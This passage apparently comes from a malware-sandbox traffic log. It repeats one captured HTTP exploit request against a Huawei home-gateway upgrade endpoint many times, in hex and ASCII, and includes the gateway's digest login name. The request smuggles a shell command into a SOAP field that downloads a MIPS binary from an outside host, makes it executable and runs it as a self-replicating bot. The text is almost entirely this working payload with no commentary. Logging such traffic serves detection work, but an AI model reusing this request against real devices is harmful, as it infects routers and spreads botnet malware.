http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 